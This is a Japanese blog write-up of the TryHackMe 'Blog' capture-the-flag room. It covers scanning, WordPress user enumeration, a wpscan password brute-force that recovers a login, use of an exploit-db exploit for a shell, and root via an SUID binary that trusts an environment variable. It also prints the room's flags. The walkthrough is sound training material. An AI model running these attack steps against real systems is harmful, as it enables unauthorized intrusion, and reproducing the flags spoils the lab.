0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[TryHackMe] Blog-writeup

Last updated at Posted at 2025-07-04

reconn

┌──(notthei㉿kali)-[~]
└─$ nmap -sV -T4 10.10.176.53      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 09:39 JST
Nmap scan report for 10.10.176.53
Host is up (0.27s latency).
Not shown: 996 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.94 seconds

80番のwebサイトにアクセスすると以下のページでした。
image.png

enumration

gobusterでディレクトリの列挙をします。

┌──(notthei㉿kali)-[~]
└─$ gobuster dir -u http://10.10.176.53 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.176.53
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/0                    (Status: 301) [Size: 0] [--> http://10.10.176.53/0/]
/admin                (Status: 302) [Size: 0] [--> http://blog.thm/wp-admin/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.176.53/feed/atom/]                                                                        
/dashboard            (Status: 302) [Size: 0] [--> http://blog.thm/wp-admin/]
/embed                (Status: 301) [Size: 0] [--> http://10.10.176.53/embed/]                                                                            
/favicon.ico          (Status: 200) [Size: 0]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.176.53/feed/]
/index.php            (Status: 301) [Size: 0] [--> http://10.10.176.53/]
/login                (Status: 302) [Size: 0] [--> http://blog.thm/wp-login.php]
/page1                (Status: 301) [Size: 0] [--> http://10.10.176.53/]
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.176.53/feed/rdf/]
/robots.txt           (Status: 200) [Size: 67]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.176.53/feed/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.176.53/feed/]
/server-status        (Status: 403) [Size: 277]
/wp-admin             (Status: 301) [Size: 315] [--> http://10.10.176.53/wp-admin/]
/wp-content           (Status: 301) [Size: 317] [--> http://10.10.176.53/wp-content/]
/wp-includes          (Status: 301) [Size: 318] [--> http://10.10.176.53/wp-includes/]
/xmlrpc.php           (Status: 405) [Size: 42]

/etc/hostsblog.thmを追加します。

SMB

smbの列挙をします
enum4linuxを叩いたらSharenameBillySMBを発見しました。

  Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        BillySMB        Disk      Billy's local SMB Share
        IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))

wpscanコマンドを使用します。

┌──(notthei㉿kali)-[~]
└─$ wpscan --url http://blog.thm -e u

WordPress version 5.0 だとわかりました。

What version of the above CMS was being used?

5.0

What CMS was Billy using?

Wordpress

スキャンの結果からアカウント情報など取得できました。

[i] User(s) Identified:

[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

そのままwpscanでアカウントのパスワードをクラックします
kwheelbjoelがAuthor以上の権限を所有しているので二つにやります

┌──(notthei㉿kali)-[~]
└─$ wpscan --url http://blog.thm -U kwheel,bjoel -P /usr/share/wordlists/rockyou.txt --password-attack wp-login -t 64
[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - kwheel / cutiepie1    

見つかりました。

intrusion

私はmetasploitアンチなのでexploit.dbexploitを探します。
これを使います。

┌──(notthei㉿kali)-[~/THM/Blog]
└─$python3 exploit.py http://blog.thm wpscan cutiepie1 twentytwenty

www-dataに侵入できました。

user.txtを探したら/home/bjoelにありましたが中身が偽物でした。
what tha f0000000k

cat /home/bjoel/user.txt
You won't find what you're looking for here.

TRY HARDER

怪しいファイルがないかSUIDの検索をします

www-data@blog:/var/www/wordpress$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/*

*/
/usr/sbin/checker

checkerという怪しげな実行ファイルを見つけました。
実行結果は以下になります。

www-data@blog:/usr/sbin$ checker
checker
Not an Admin

adminではないからだそうです。

以前CTFで似たようなのがあり、環境変数にadminを入れたらできたのでワンチャン今回も、と思いとりあえずやってみます。

できなければおとなしくghidraで解析します。

www-data@blog:/usr/sbin$ export admin=admin
export admin=admin
www-data@blog:/usr/sbin$ checker
checker
root@blog:/usr/sbin# whoami
whoami
root

あっさりrootが取れてしまいました。
ghidraで解析したかった()

root.txt

基本/rootにあるので移動します。

root@blog:/root# cat root.txt
cat root.txt
9a0b2b618bef9bfa7ac28c1353d9f318

発見しました。

9a0b2b618bef9bfa7ac28c1353d9f318

Where was user.txt found?

findコマンドの結果からuser.txtのパスは/home/bjoel/user.txtが偽物だったので、/media/usb/になります。

/media/usb

user.txt

findコマンドで探します

root@blog:/root# find / 2>/dev/null | grep user.txt
find / 2>/dev/null | grep user.txt
/home/bjoel/user.txt
/media/usb/user.txt
root@blog:/root# cat /media/usb/user.txt
cat /media/usb/user.txt
c8421899aae571f7af486492b71a8ab7

c8421899aae571f7af486492b71a8ab7

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?